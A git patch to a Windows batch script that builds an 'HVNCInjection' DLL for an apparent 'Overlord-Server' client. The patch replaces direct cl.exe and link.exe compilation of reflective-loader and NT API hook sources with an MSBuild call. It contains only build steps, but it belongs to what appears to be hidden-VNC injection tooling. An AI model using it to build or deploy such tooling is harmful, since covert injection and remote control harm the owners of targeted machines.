From e8b6f9526d6556191903cb14dd1d9ed2d1381793 Mon Sep 17 00:00:00 2001
From: KingKDot <why_are_you_looking_at_this@stoppeeping.com>
Date: Thu, 12 Mar 2026 00:53:18 -0500
Subject: [PATCH] final change

---
 build-hvnc-dll.bat | 62 ++++++++++++++++------------------------------
 1 file changed, 22 insertions(+), 40 deletions(-)

diff --git a/build-hvnc-dll.bat b/build-hvnc-dll.bat
index 7106f83..5bb9509 100644
--- a/build-hvnc-dll.bat
+++ b/build-hvnc-dll.bat
@@ -1,67 +1,49 @@
 @echo off
 setlocal EnableDelayedExpansion
-REM Build HVNCInjection DLL for Windows x64 using Visual Studio (cl.exe)
-REM Run from VS Developer Command Prompt, or let the script detect vcvarsall.
+REM Build HVNCInjection DLL for Windows x64 using MSBuild (vcxproj).
+REM Run from VS Developer Command Prompt, or let the script detect VS.
 
 set ROOT=%~dp0
-set SRC_DIR=%ROOT%HVNCInjection\src
+set PROJ=%ROOT%HVNCInjection\HVNCInjection.vcxproj
 set OUT_DIR=%ROOT%Overlord-Server\dist-clients
+set CONFIG=Debug
+set PLATFORM=x64
 
-REM Try to set up MSVC environment if cl.exe is not available
-where cl.exe >nul 2>&1
+REM Locate MSBuild via vswhere if not already on PATH
+where msbuild.exe >nul 2>&1
 if %ERRORLEVEL% neq 0 (
-    echo cl.exe not found, searching for Visual Studio ...
+    echo msbuild.exe not found, searching for Visual Studio ...
     set "FOUND_VS="
-    for /f "usebackq tokens=*" %%i in (`"%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationPath 2^>nul`) do (
-        set "VS_PATH=%%i"
+    for /f "usebackq tokens=*" %%i in (`"%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" -latest -products * -requires Microsoft.Component.MSBuild -find MSBuild\**\Bin\MSBuild.exe 2^>nul`) do (
+        set "MSBUILD_PATH=%%i"
         set "FOUND_VS=1"
     )
     if not defined FOUND_VS (
-        echo ERROR: Visual Studio with C++ tools not found.
-        echo Please run this from a VS Developer Command Prompt.
+        echo ERROR: Visual Studio with MSBuild not found.
         exit /b 1
     )
-    echo Found VS at: !VS_PATH!
-    call "!VS_PATH!\VC\Auxiliary\Build\vcvarsall.bat" x64
+    echo Found MSBuild at: !MSBUILD_PATH!
 )
 
 if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
 
-set DEFS=/DWIN64 /DNDEBUG /D_WINDOWS /D_USRDLL /DHVNCInjection_EXPORTS /DWIN_X64
-set DEFS=%DEFS% /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
-set DEFS=%DEFS% /DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
-
-set CFLAGS=/O2 /Oi /GL /MT /GS- /W3 /TC %DEFS% /I "%SRC_DIR%"
-
-echo Compiling ReflectiveLoader.c ...
-cl.exe /c %CFLAGS% /Fo"%SRC_DIR%\ReflectiveLoader.obj" "%SRC_DIR%\ReflectiveLoader.c"
+echo Building HVNCInjection.vcxproj [%CONFIG%^|%PLATFORM%] ...
+if defined MSBUILD_PATH (
+    "!MSBUILD_PATH!" "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal
+) else (
+    msbuild.exe "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal
+)
 if %ERRORLEVEL% neq 0 goto :error
 
-echo Compiling ReflectiveDll.c ...
-cl.exe /c %CFLAGS% /Fo"%SRC_DIR%\ReflectiveDll.obj" "%SRC_DIR%\ReflectiveDll.c"
-if %ERRORLEVEL% neq 0 goto :error
-
-echo Compiling NtApiHooks.c ...
-cl.exe /c %CFLAGS% /Fo"%SRC_DIR%\NtApiHooks.obj" "%SRC_DIR%\NtApiHooks.c"
-if %ERRORLEVEL% neq 0 goto :error
-
-echo Linking HVNCInjection.x64.dll ...
-link.exe /DLL /OUT:"%OUT_DIR%\HVNCInjection.x64.dll" ^
-    /SUBSYSTEM:WINDOWS /OPT:REF /OPT:ICF /MACHINE:X64 ^
-    /LIBPATH:"%SRC_DIR%" ^
-    "%SRC_DIR%\ReflectiveLoader.obj" ^
-    "%SRC_DIR%\ReflectiveDll.obj" ^
-    "%SRC_DIR%\NtApiHooks.obj" ^
-    libMinHook.x64.lib kernel32.lib user32.lib advapi32.lib ntdll.lib
-if %ERRORLEVEL% neq 0 goto :error
+if not exist "%OUT_DIR%\HVNCInjection.x64.dll" (
+    echo ERROR: DLL not found in output directory.
+    goto :error
+)
 
 echo.
 echo Built: %OUT_DIR%\HVNCInjection.x64.dll
 dir "%OUT_DIR%\HVNCInjection.x64.dll"
 
-REM Clean up
-del /q "%SRC_DIR%\*.obj" 2>nul
-
 echo Done.
 exit /b 0